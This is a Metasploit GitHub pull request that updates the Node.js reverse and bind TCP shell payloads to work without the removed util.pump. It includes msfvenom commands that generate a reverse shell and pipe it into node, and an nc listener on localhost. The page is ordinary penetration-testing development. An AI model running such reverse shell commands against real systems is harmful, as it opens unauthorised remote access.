-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Handle missing util.pump in nodejs shell payloads #8825
Handle missing util.pump in nodejs shell payloads #8825
Conversation
Modern NodeJS (since 5.3.0) has removed util.pump in favor of stream.pipe. On current versions the nodejs tcp shell payloads error out: ``` $ node --version v7.10.0 $ msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node <snip> TypeError: util.pump is not a function at Socket.<anonymous> ([stdin]:1:405) at Object.onceWrapper (events.js:293:19) at emitNone (events.js:86:13) at Socket.emit (events.js:188:7) at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1080:10) ``` With this change, bind and reverse tcp should be tolerant of both new and older versions. *Reference* nodejs/node#2531 *Verification steps* 1. Set up a handler (either exploit/multi/handler or simple nc) ``` $ nc -l -v 7777 ``` 2. Use patched version with various versions of node: ``` msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node ``` 3. Confirm both old and new versions of node result in shell, not error.
Fixes test failures
Thank you! Been at the back of my list since June. |
I've got an exploit module for nodejs I'm planning to submit a pull request for shortly that requires this fix. I'll reference this when I actually submit, but it would be helpful to have this landed so that the exploit module works without requiring that reviewer to pull this patch. Thanks! |
Verified against node version below: Original payload as
Shell interactions function as expected. |
Release NotesNode.js payloads are now compatible with version 5.X and greater. |
fix rapid7#9063 by removing invalid object reference introduced in PR rapid7#8825
Modern NodeJS (since 5.3.0) has removed util.pump in favor of stream.pipe.
On current versions the nodejs tcp shell payloads error out:
With this change, bind and reverse tcp should be tolerant of both new and older versions.
Reference
nodejs/node#2531
Verification Steps**